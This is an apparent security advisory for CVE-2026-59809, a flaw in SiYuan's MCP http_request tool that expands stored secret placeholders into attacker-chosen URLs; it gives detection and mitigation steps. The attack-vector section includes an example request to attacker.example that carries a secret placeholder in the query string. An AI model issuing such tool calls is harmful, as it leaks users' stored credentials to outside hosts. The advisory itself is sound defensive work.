CVE-2026-59809: SiYuan Information Disclosure Vulnerability

CVE-2026-59809 Overview

CVE-2026-59809 affects SiYuan, a personal knowledge management application, in versions before v3.8.0. The vulnerability resides in the http_request Model Context Protocol (MCP) tool, which interpolates secret placeholders directly into the destination URL parameter. An MCP client can craft a request with an attacker-controlled URL that references stored secret placeholders. SiYuan then expands those placeholders and transmits the plaintext secret values to any public host without user confirmation. The flaw is categorized under CWE-201: Insertion of Sensitive Information Into Sent Data.

Critical Impact
Attackers with MCP client access can exfiltrate stored SiYuan secrets in cleartext to arbitrary external hosts by embedding placeholders in a request URL.

Affected Products

SiYuan versions prior to v3.8.0
Deployments exposing the SiYuan MCP http_request tool
Environments where SiYuan stores API tokens or credentials as secret placeholders

Discovery Timeline

2026-08-22 - CVE-2026-59809 published to NVD
2026-08-26 - Last updated in NVD database

Technical Details for CVE-2026-59809

Vulnerability Analysis

SiYuan integrates with Model Context Protocol clients through an http_request tool that accepts a destination URL and request parameters. The tool supports secret placeholders so that stored credentials can be referenced by name rather than exposed in tool arguments. Before v3.8.0, SiYuan performs placeholder interpolation on the URL parameter itself before dispatching the outbound HTTP request. An MCP client that supplies a URL containing a secret placeholder causes SiYuan to substitute the plaintext secret value directly into the request target. The request then travels to whatever host the URL specifies, sending the secret in the request line or query string.

Root Cause

The root cause is unsafe placeholder expansion in a security-sensitive field. Secret placeholders are intended for use in authorization headers or request bodies where their destination is validated against a trusted endpoint. Expanding them into the destination URL removes the boundary between the secret and the attacker-controlled network target. SiYuan additionally omits user confirmation before sending the request, so exfiltration proceeds silently.

Attack Vector

An attacker requires access to an MCP client connected to a vulnerable SiYuan instance. The attacker submits an http_request tool call with a URL such as https://attacker.example/collect?token={{secret_name}}. SiYuan resolves {{secret_name}} from its secret store and issues a GET request to the attacker-controlled host with the cleartext value appended. The attacker collects the value from server logs. Any secret referenced by placeholder syntax is reachable through this pattern.

See the GitHub Security Advisory GHSA-853m-gvvm-6rvx and the VulnCheck Advisory on SiYuan secret exfiltration for additional technical context.

Detection Methods for CVE-2026-59809

Indicators of Compromise

Outbound HTTP requests from SiYuan processes to unfamiliar external hosts, especially with sensitive-looking query string parameters.
MCP tool invocations of http_request where the URL argument contains placeholder syntax such as {{...}}.
SiYuan application logs showing http_request calls to domains outside the organization's approved integration list.

Detection Strategies

Inspect MCP client audit logs for http_request calls whose URL parameter includes secret placeholder tokens before interpolation.
Correlate SiYuan network egress with allowlists of expected integration endpoints and flag deviations.
Search proxy or DNS telemetry for connections from workstations running SiYuan to newly registered or low-reputation domains.

Monitoring Recommendations

Route SiYuan outbound traffic through a filtering proxy that logs full URLs and query strings for offline review.
Alert on any request from SiYuan that contains high-entropy values in query parameters, which may indicate exfiltrated credentials.
Track version inventory for SiYuan installations and generate alerts for hosts running builds prior to v3.8.0.

How to Mitigate CVE-2026-59809

Immediate Actions Required

Upgrade all SiYuan installations to v3.8.0 or later, which removes placeholder interpolation from the http_request URL parameter.
Rotate every secret previously stored in SiYuan that could have been referenced by an MCP client during the exposure window.
Restrict MCP client access to SiYuan to trusted users only until patching is complete.

Patch Information

The maintainers fixed the issue in SiYuan v3.8.0. Refer to the GitHub Security Advisory GHSA-853m-gvvm-6rvx for release notes and commit references.

Workarounds

Disable the SiYuan MCP http_request tool until the upgrade is applied.
Remove or relocate stored secrets from SiYuan so no sensitive values are available for interpolation.
Constrain SiYuan network egress with a host-based or perimeter allowlist limiting outbound requests to approved API endpoints.

bash

# Example egress allowlist enforced with iptables on a Linux host running SiYuan
# Replace 203.0.113.10 with the approved API endpoint address
iptables -A OUTPUT -m owner --uid-owner siyuan -p tcp -d 203.0.113.10 --dport 443 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner siyuan -p tcp -j REJECT